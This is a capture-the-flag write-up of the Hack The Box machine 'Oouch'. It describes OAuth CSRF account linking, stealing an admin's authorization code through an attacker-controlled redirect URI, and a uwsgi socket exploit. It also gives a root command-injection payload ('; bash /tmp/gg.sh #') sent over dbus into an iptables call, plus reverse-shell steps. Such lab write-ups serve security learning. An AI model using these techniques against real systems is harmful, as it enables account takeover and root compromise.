Oouch was a really solid box in which you had to abuse csrf to link the admin's account to yours and with this new access you can discover credentials to create an application, with this application you can allow a uri for redirections, with which you can steal the admin's code and read his ssh key through the api. from there you can ssh into the box and obtain the user flag. From there you can ssh into a docker container where there is a uwsgi.socket in /tmp you can use an exploit and get rce and get access to the dbus where you can inject into an iptable command that is being run as root.
Enumeration
As usual we start of with an nmap scan with the flags -sC -sV
From this we can see that there are two http servers one on port 5000 and port 8000 and ftp listing a file we can anonymously download and ssh running.
project.txt shows that there is a flask and django server, one for consumers and one for Authorization.
port 5000 enumeration
if we go to port 5000 it wants us to login or register an account

once we register and log in we see some flask endpoints and can gobust with the session cookie for more.

I chose to use the /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt wordlist because I wanted something somewhat short and recently made. We can see the /oauth endpoint which if the name didn't give away is going to be the path to foothold on this machine.
Some interesting and crucial endpoints are /oauth and /contact

Contact allows us to send feedback to the system administrator, we can abuse this and have the admin make web requests through tags like <script src = <malicious_url>.
We can test this out by sending the payload.
And we get the request
/oauth reveals this.

Notice consumer.oouch.htb and that we can connect accounts.
port 8000
since the flask consumer site is reachable at consumer.oouch.htb we can assume that the django authorizatoin site is reachable at authorization.oouch.htb. To find this we can assume like we have done, use the /oauth/connect, or we can bruteforce vhosts using gobuster or wfuzz.
Navigating to http://authorization.oouch.htb:8000/ reveals such.

We can create another account here and can assume this is what is being connected on the consumer end.
When we register an account it shows us the endpoints relevant to the operation.

In order to use what we have we first must understand how oauth works and how we can attack it, the blog post https://dhavalkapil.com/blogs/Attacking-the-OAuth-Protocol/ d gives enough information of what to do but I recommend you take a deeper dive into oauth and understand it more than just enough to complete this box.
After familiarizing ourselves with the protocol we see that we can connect the admin's account to our account on port 8000. To begin this attack we are going to need to use burp.
to complete this account connection you need to go to the endpoint /oauth/connect and capture the request with the token and then send that in the message to the admin, once you have done so you need to navigate to /oauth/login and authorize

go to /contact and send the url: http://consumer.oouch.htb:5000/oauth/connect/token?code=HqvCpor138ZL9nd0nYDuNRGZEf8Q9R
then navigate to /oauth/login and Authorize it

and now looking at /profile shows that we are qtc!

if we go to Documents we can see the things qtc has access to.

we find there is an /api/ and credentials that we can use to register an application.
since all endpoints on port 8000 start with /oauth we dirbust and find that /oauth/applications/register exists and uses the credentials found in dev_access.txt.

from here we can create a new application and add our own ip as a redirect uri make client-type to public and authorization grant type authorization-code.

Now with this new redirect uri allowed we are able to steal qtc's code and impersonate him and make api requests as him. This site also shows us how to get from a code to api access https://auth0.com/docs/api-auth/tutorials/authorization-code-grant but first we must get his code.
Doing so is pretty simple all we need to do is make qtc's account make a request to https://provider.com/oauth/authorize?client_id=CLIENT_ID&response_type=code&redirect_uri=http://us/
where we replace the client_id with the application's.
http://authorization.oouch.htb:8000/oauth/authorize/?redirect_uri=http://10.10.14.230/&scope=read&client_id=qnRsHZ30gB4amI0LAeEIC5JJiaHHHU5nwXQyZshS&state=&response_type=code&allow=Authorize will work in our case.
with this code we can now make another request to get the BEARER code to make requests to the api
curl request made from this https://auth0.com/docs/api-auth/tutorials/authorization-code-grant
Now we can play with the api
Remember in /documents that users could get an ssh key? Let's play with the api and see if we can pull anything related to that.
/api/get_ssh_key works

We can print the text in python to get the private key in the right format
and now we can ssh in as qtc and are user.

Privilege Escalation
If we run ps aux we can list the processes running and see there are two docker containers with one running the consumer and other the authorization server.

when we try to access these boxes with ssh we get into 127.18.0.4

in the root directory there is a code directory containing the source code for the consumer application and interestingly in /tmp there is a uwsgi socket.
if we look further down the code directory we can find in routes.py it banning ip addresses for xss attempt through messing with dbus.
But if we try to mess with dbus we get permission denied when we try to block an ip address the same way routes.py does. this means that the www-data user has privileges we need to escalate to.
if we look for exploits against uwsgi sockets we can find some chinese exploit against exposed uwsgi sockets found here https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py .
This exploit needs very slight modifications for it to run. all that is needed is to change the function sz()
Because of the docker's limited tools to edit files I just base64'd the python exploit and echo'd into a file and base64 -d the file to transfer such.
it works and we can see in pspy, from here we can get a shell. We can copy the host's netcat and transfer it using the base64 method and from there get a shell as www-data. To get the shell we can upload a basic python reverse shell using the same method as before but we need to set the ip we are connecting to as 172.18.0.1 because we have to listen on oouch.
now we can try messing with dbus to see what we can do and can maybe see with pspy running.
from here we can see we can inject into that iptables command which is run as root. let's wrap this up and get a shell. We can put our reverse shell command in /tmp/gg.sh call it whatever you want, doesn't matter. now in python run block_iface.Block("; bash /tmp/gg.sh #") and gg we have a shell.


And we are root.